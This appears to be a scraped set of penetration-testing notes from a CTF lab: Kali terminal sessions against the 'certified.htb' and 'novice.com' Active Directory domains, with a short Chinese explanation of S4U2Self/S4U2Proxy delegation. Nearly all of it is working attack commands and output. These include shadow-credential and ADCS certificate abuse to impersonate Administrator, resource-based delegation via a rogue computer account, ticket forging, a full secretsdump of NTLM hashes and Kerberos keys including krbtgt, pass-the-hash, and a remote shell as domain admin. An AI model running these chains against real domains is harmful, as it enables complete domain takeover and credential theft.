┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-GetNPUsers -usersfile users.txt -no-pass -dc-ip 10.129.231.186 certified.htb/ Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] UserAdministrator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Userjudith.mader doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Usermanagement_svc doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userca_operator doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Useralexander.huges doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Userharry.wilson doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Usergregory.cameron doesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(root㉿kaada)-[/opt/get_dc_time] └─# python3 get_dc_time.py -s 10.129.231.186 2026-02-1903:49:36.000000 Local time setto: 2026-02-1903:49:36
使用pywhisker
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kaada)-[/opt/pywhisker-1.0.0/pywhisker] └─# python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p "judith09" --target "management_svc" --action "add" --dc-ip 10.129.231.186 --use-ldaps [*] Searching for the target account [*] Target user found: CN=management service,CN=Users,DC=certified,DC=htb [*] Generating certificate [*] Certificate generated [*] GeneratingKeyCredential [*] KeyCredential generated with DeviceID: 7ba66598-d473-200b-e335-73693201fe6a [*] Updating the msDS-KeyCredentialLink attribute of management_svc [+] Updated the msDS-KeyCredentialLink attribute of the target object [+] SavedPFX (#PKCS12) certificate & key at path: oigNgAOY.pfx [*] Must be used with password: F7ddKVbzqkaPtLgqVxFX [*] ATGT can now be obtained with https://github.com/dirkjanm/PKINITtools
┌──(root㉿kaada)-[/home/kali/Desktop] └─# certipy-ad shadow auto -u 'judith.mader@certified.htb' -p 'judith09' -account Certipy v4.8.2 - by OliverLyak (ly4k)
[*] Targeting user 'management_svc' [*] Generating certificate [*] Certificate generated [*] GeneratingKeyCredential [*] KeyCredential generated with DeviceID'91c77677-13a9-3225-4533-8a5ec50d7c90' [*] AddingKeyCredential with device ID'91c77677-13a9-3225-4533-8a5ec50d7c90' to the KeyCredentials for 'management_svc' [*] Successfully added KeyCredential with device ID'91c77677-13a9-3225-4533-8a5ec50d7c90' to the KeyCredentials for 'management_svc' [*] Authenticating as 'management_svc' with the certificate [*] Using principal: management_svc@certified.htb [*] Trying to get TGT... [*] GotTGT [*] Saved credential cache to 'management_svc.ccache' [*] Trying to retrieve NT hash for 'management_svc' [*] Restoring the old KeyCredentials for 'management_svc' [*] Successfully restored the old KeyCredentials for 'management_svc' [*] NT hash for 'management_svc': a091c1832bcdd4677c28b5a6a1295584
[*] Finding certificate templates [*] Found34 certificate templates [*] Finding certificate authorities [*] Found1 certificate authority [*] Found12 enabled certificate templates [*] Finding issuance policies [*] Found15 issuance policies [*] Found0OIDs linked to templates [*] RetrievingCA configuration for 'certified-DC01-CA' via RRP [!] Failed to connect to remote registry. Service should be starting now. Trying again... [*] Successfully retrieved CA configuration for 'certified-DC01-CA' [*] Checking web enrollment for CA'certified-DC01-CA' @ 'DC01.certified.htb' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Saving text output to '20260219041503_Certipy.txt' [*] Wrote text output to '20260219041503_Certipy.txt' [*] SavingJSON output to '20260219041503_Certipy.json' [*] WroteJSON output to '20260219041503_Certipy.json'
┌──(root㉿kaada)-[/home/kali/Desktop] └─# certipy-ad req -u ca_operator@certified.htb -p 'Pwned_CA_123!@#' -ca certified-DC01-CA -template CertifiedAuthentication -debug Certipy v5.0.4 - by Oliver Lyak (ly4k)
[+] DC host (-dc-host) not specified. Usingdomainas DC host [+] Nameserver: None [+] DC IP: None [+] DC Host: 'CERTIFIED.HTB' [+] Target IP: None [+] Remote Name: 'CERTIFIED.HTB' [+] Domain: 'CERTIFIED.HTB' [+] Username: 'CA_OPERATOR' [+] Trying to resolve 'CERTIFIED.HTB' at '192.168.21.2' [+] Resolved 'CERTIFIED.HTB'fromcache: 10.129.231.186 [+] Generating RSA key [*] Requesting certificate via RPC [+] Trying toconnectto endpoint: ncacn_np:10.129.231.186[\pipe\cert] [+] Connected to endpoint: ncacn_np:10.129.231.186[\pipe\cert] [*] Request ID is5 [*] Successfully requested certificate [*] Got certificate with UPN 'Administrator' [*] Certificate has noobject SID [*] Try using -sid toset the object SID or see the wiki for more details [*] Saving certificate and private key to'administrator.pfx' [+] Attempting towrite data to'administrator.pfx' [+] Data written to'administrator.pfx' [*] Wrote certificate and private key to'administrator.pfx'
[+] Target name (-target) and DC host (-dc-host) not specified. Using domain '' as target name. This might fail for cross-realm operations [+] Nameserver: '10.129.231.186' [+] DCIP: '10.129.231.186' [+] DCHost: '' [+] TargetIP: '10.129.231.186' [+] RemoteName: '10.129.231.186' [+] Domain: '' [+] Username: 'ADMINISTRATOR' [*] Certificate identities: [*] SANUPN: 'Administrator' [*] Using principal: 'administrator@certified.htb' [*] Trying to get TGT... [+] SendingAS-REQ to KDC certified.htb (10.129.231.186) [*] GotTGT [*] Saving credential cache to 'administrator.ccache' [+] Attempting to write data to 'administrator.ccache' [+] Data written to 'administrator.ccache' [*] Wrote credential cache to 'administrator.ccache' [*] Trying to retrieve NT hash for 'administrator' [*] Got hash for 'administrator@certified.htb': aad3b435b51404eeaad3b435b51404ee:0d5b49608bbce1751f708748f67e2d34
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-rbcd -delegate-to'DC$' -delegate-from'EVILPC$' -dc-ip 192.168.21.130 -action 'write''novice.com/MrRobot:mrroboto12' Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity isempty [*] Delegation rights modified successfully! [*] EVILPC$ can now impersonate users on DC$ via S4U2Proxy [*] Accounts allowed to act on behalf of other identity: [*] EVILPC$ (S-1-5-21-3649830887-1815587496-1699028491-2101)
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-getST -spn 'cifs/DC.novice.com' -impersonate Administrator -dc-ip 192.168.21.130'novice.com/EVILPC$:EvilPass123!' Impacket v0.14.0.dev0 - CopyrightFortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping... [*] GettingTGT for user [*] ImpersonatingAdministrator [*] RequestingS4U2self [*] RequestingS4U2Proxy [*] Saving ticket in Administrator@cifs_DC.novice.com@NOVICE.COM.ccache
1 2 3 4
┌──(root㉿kaada)-[/home/kali/Desktop] └─# ls 20260219050404_bloodhound.zip FScan_2.0.1_linux_x32 nc.exe rustscan sucrack Administrator@cifs_DC.novice.com@NOVICE.COM.ccache
[*] ServiceRemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey:0x9aec2145c768b9975d683cbd0b2138e0 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping cached domain logon information (domain/username:hash) [*] DumpingLSASecrets [*] $MACHINE.ACC NOVICE\DC$:plain_password_hex:6454fcd3651871f06169975c90882651d512f6bd88eb6513625ba8d99345d3de876754b3e3f9bf58cfc3add6cb05f8bea733d5f0df9f622ab68b3daacf1d255bc441b453050330aab4c548c86c0f9a3c5f537964ae483ac161bbe74145a1dffb6a1859df45b64b02c01bdae24fcb58be1ea2ded8eee4bf0014ee73f5fcd8c3faa0bcc080b4f5233286f4fce1cfffe878b5ee4f79f9215cdf59d0151a0e516894562914031807df1bfd9b9f3df285e3f7b570ecc67d187bc0d982b17ddd307a4288a74854c9916887abd47a42ba7c70b6aa0cde01f8dc240dd556b1f2e5e083ff85022153174300275556b609ee322a19 NOVICE\DC$:aad3b435b51404eeaad3b435b51404ee:59895085a4120299fc9fb7158c5b310d::: [*] DPAPI_SYSTEM dpapi_machinekey:0xdead8f737ed36bb82d5a6f44687f0d926e30b276 dpapi_userkey:0xddbacb41fc6cd581597fa5ab3862023b5109d8b5 [*] NL$KM 000048E8EDC09F C8D4BE3781D72B D4B187C1 H.......7..+.... 00103C A7DA683B CF48DF9C 246488D4838B F0 <..h;.H..$d..... 0020CECAF8FB07C8070A 4A 5A F6AD11DB8728 ........JZ.....( 0030B8DD0C E7350E 1D 3718AACABDD6C79026 ....5..7.......& NL$KM:48e8edc09fc8d4be3781d72bd4b187c13ca7da683bcf48df9c246488d4838bf0cecaf8fb07c8070a4a5af6ad11db8728b8dd0ce7350e1d3718aacabdd6c79026 [*] DumpingDomainCredentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:bbabdc192282668fe5190ab0c5150b34::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:34d77123d1c64e2da30028f21bbb91d0::: MrRobot:1104:aad3b435b51404eeaad3b435b51404ee:c8fa8686516464c51cfc0bdc3e52ef9e::: DC$:1000:aad3b435b51404eeaad3b435b51404ee:59895085a4120299fc9fb7158c5b310d::: EVILPC$:2101:aad3b435b51404eeaad3b435b51404ee:2ce986df7478744a81b7d00446da7417::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:0218bc05d978eff9d49b5578b0b82d2b6f6fd19b47b55f91c07a555dac208574 Administrator:aes128-cts-hmac-sha1-96:4f3a074e29171c06ab3db041c1be2128 Administrator:des-cbc-md5:34701ccb6efb9704 krbtgt:aes256-cts-hmac-sha1-96:1767397277e40d45c7924647e4b2ce3b211a87bbe5aa345beba0cb95886d696f krbtgt:aes128-cts-hmac-sha1-96:ab93922b57ce1a5ab5e6e8f4ea078f4e krbtgt:des-cbc-md5:58a104e55ec89eb9 MrRobot:aes256-cts-hmac-sha1-96:7cd49c483c6f0e1977b9d0939c84f72d017724c26bb54d742309e70f0872a1d5 MrRobot:aes128-cts-hmac-sha1-96:67d90694c72b439b2921976fb1f775cf MrRobot:des-cbc-md5:62b39b86f862d3fd DC$:aes256-cts-hmac-sha1-96:c8f24757655c70f50c7ec4fdaa365848392a2a969b4da2c0e3fc4580290bd234 DC$:aes128-cts-hmac-sha1-96:f273380db059a96f5f66ea2cfdce97b0 DC$:des-cbc-md5:34ae2a0d1cd9ecdc EVILPC$:aes256-cts-hmac-sha1-96:12bf6710bb192fe177171749e5a228cb0940b783561f2a88558e5adbe0b25b1a EVILPC$:aes128-cts-hmac-sha1-96:1fc6a16715a142b4fb8a38b230bcf6d5 EVILPC$:des-cbc-md5:57ec67611675d089 [*] Cleaning up... [*] Stopping service RemoteRegistry [-] SCMRSessionError:code:0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on. [*] Cleaning up... [*] Stopping service RemoteRegistry Exception ignored in: <function Registry.__del__ at 0x7f06f7e08900> Traceback (most recent call last): File"/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__ File"/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close File"/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close File"/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile File"/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close File"/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB File"/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB File"/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, inAES_CMAC File"/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new KeyError:'Cryptodome.Cipher.AES' Exception ignored in: <function Registry.__del__ at 0x7f06f7e08900> Traceback (most recent call last): File"/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__ File"/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close File"/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close File"/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile File"/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close File"/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB File"/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB File"/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, inAES_CMAC File"/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new KeyError:'Cryptodome.Cipher.AES'
1 2 3 4 5 6 7 8 9 10 11 12 13 14
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nxc smb 192.168.21.130 -u administrator -H bbabdc192282668fe5190ab0c5150b34 SMB 192.168.21.130 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:novice.com) (signing:True) (SMBv1:None) (Null Auth:True) SMB 192.168.21.130 445 DC [+] novice.com\administrator:bbabdc192282668fe5190ab0c5150b34 (Pwn3d!)
┌──(root㉿kaada)-[/home/kali/Desktop] └─# impacket-wmiexec -k -no-pass DC.novice.com Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used [!] Launching semi-interactive shell - Careful what you execute [!] Press help for extra shell commands C:\>whoami novice\administrator
针对 Domain Controller 的约束委派攻击
为了伪造域管(Administrator)去访问 DC 的 C$ 共享 ,攻击需要利用 Kerberos 协议的两个关键扩展协议:S4U2Self (Service for User to Self) 和 S4U2Proxy (Service for User to Proxy)。